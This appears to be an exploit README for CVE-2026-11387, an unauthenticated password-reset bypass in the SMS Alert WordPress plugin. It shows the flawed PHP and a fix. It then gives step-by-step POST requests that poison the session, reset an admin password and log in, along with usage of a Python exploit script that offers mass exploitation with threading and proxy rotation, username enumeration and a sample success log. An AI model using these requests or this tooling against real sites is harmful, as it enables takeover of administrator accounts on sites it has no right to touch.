// sms-alert/smsalert.php
add_action( 'wp_ajax_nopriv_smsalert_reset_otp',      [ $this, 'smsalert_site_challenge_otp' ] );
add_action( 'wp_ajax_nopriv_smsalert_change_password', [ $this, 'routeData' ] );

// handler/forms/class-wpresetpassword.php
public function smsalert_site_challenge_otp() {
    $user_login = sanitize_text_field( $_REQUEST['user_login'] );
    $user       = get_user_by( 'login', $user_login )
               ?: get_user_by( 'email', $user_login );

    if ( $user ) {
        // ❌ $_SESSION['user_login'] is set HERE — before OTP verification
        $_SESSION['user_login']      = $user->user_login;
        $_SESSION['smsalert_otp']    = $this->generate_otp();
        $_SESSION[self::SESSION_VAR] = 'otp_sent';  // NOT 'validated'
        $this->send_otp( $user );
    }
}

// handler/forms/class-wpresetpassword.php
public function routeData() {
    $option = sanitize_text_field( $_REQUEST['option'] ?? '' );

    if ( $option === 'smsalert-change-password-form' ) {
        // ❌ MISSING: if ( $_SESSION[self::SESSION_VAR] !== 'validated' ) { return; }
        $this->reset_password();
    }
}

// handler/forms/class-wpresetpassword.php
private function reset_password() {
    $user_login = $_SESSION['user_login'] ?? '';  // poisoned by smsalert_site_challenge_otp()
    $new_pass   = sanitize_text_field( $_REQUEST['smsalert_user_newpwd'] );
    $confirm    = sanitize_text_field( $_REQUEST['smsalert_user_cnfpwd'] );

    if ( $new_pass !== $confirm || empty( $user_login ) ) { return; }

    $user = get_user_by( 'login', $user_login );
    if ( $user ) {
        wp_set_password( $new_pass, $user->ID );  // ✅ password changed — no OTP required
        wp_redirect( add_query_arg( 'password_reset', 'true', wp_login_url() ) );
        exit;
    }
}

// handler/forms/class-wpresetpassword.php (fixed)
public function routeData() {
    $option = sanitize_text_field( $_REQUEST['option'] ?? '' );

    if ( $option === 'smsalert-change-password-form' ) {
        // ✅ FIXED: OTP must be validated before reset is allowed
        if ( ( $_SESSION[self::SESSION_VAR] ?? '' ) !== 'validated' ) {
            wp_die( 'OTP verification required.' );
        }
        $this->reset_password();
    }
}

Attacker (no auth)
     │
     │  POST /my-account/lost-password/
     │  body: user_login=admin
     ▼
┌─────────────────────────────────────────┐
│  smsalert_site_challenge_otp()          │
│  → $_SESSION['user_login'] = 'admin'   │  ← session poisoned 💀
│  → $_SESSION[SESSION_VAR] = 'otp_sent' │
│  → OTP sent to victim's phone           │
│  (attacker never sees the OTP)          │
└─────────────────────────────────────────┘
     │
     │  POST /my-account/lost-password/
     │  body: option=smsalert-change-password-form
     │        smsalert_user_newpwd=Pwned123!
     │        smsalert_user_cnfpwd=Pwned123!
     ▼
┌─────────────────────────────────────────┐
│  routeData()                            │
│  → checks $_REQUEST['option'] only      │
│  → SESSION_VAR check: SKIPPED ❌        │
│  → reset_password() called              │
│  → wp_set_password('admin', newpwd)     │  ← password changed 😈
└─────────────────────────────────────────┘
     │
     │  POST /wp-login.php
     │  log=admin  pwd=Pwned123!
     ▼
┌─────────────────────────────────────────┐
│  Login SUCCESS                          │
│  wordpress_logged_in_* cookie set       │  ← TAKEOVER CONFIRMED 💀
└─────────────────────────────────────────┘

# Single target exploit
python CVE-2026-11387.py
# → Mode 1, enter target URL + username

# Username enumeration only
python CVE-2026-11387.py
# → Mode 2

# Mass exploit (multi-threaded + proxy rotation)
python CVE-2026-11387.py
# → Mode 3, targets.txt, threads, proxy file

# Fingerprint only (no exploit)
python CVE-2026-11387.py
# → Mode 4, outputs CSV

Exploit Phases:
  Phase 1 — Reachability check + HTTP fallback
  Phase 2 — Version fingerprint via readme.txt
  Phase 3 — Username enumeration (REST API / sitemap / author archive)
  Phase 4 — OTP challenge trigger (session poisoning)
  Phase 5 — Password reset via routeData() bypass
  Phase 6 — Login verification (wordpress_logged_in_* cookie)

Sample output (scan_results/CVE-2026-11387_success.txt):
  [2026-07-03 12:00:00] SITE=https://target.com | user=admin | pass=Tmp_P0c_2026!Aa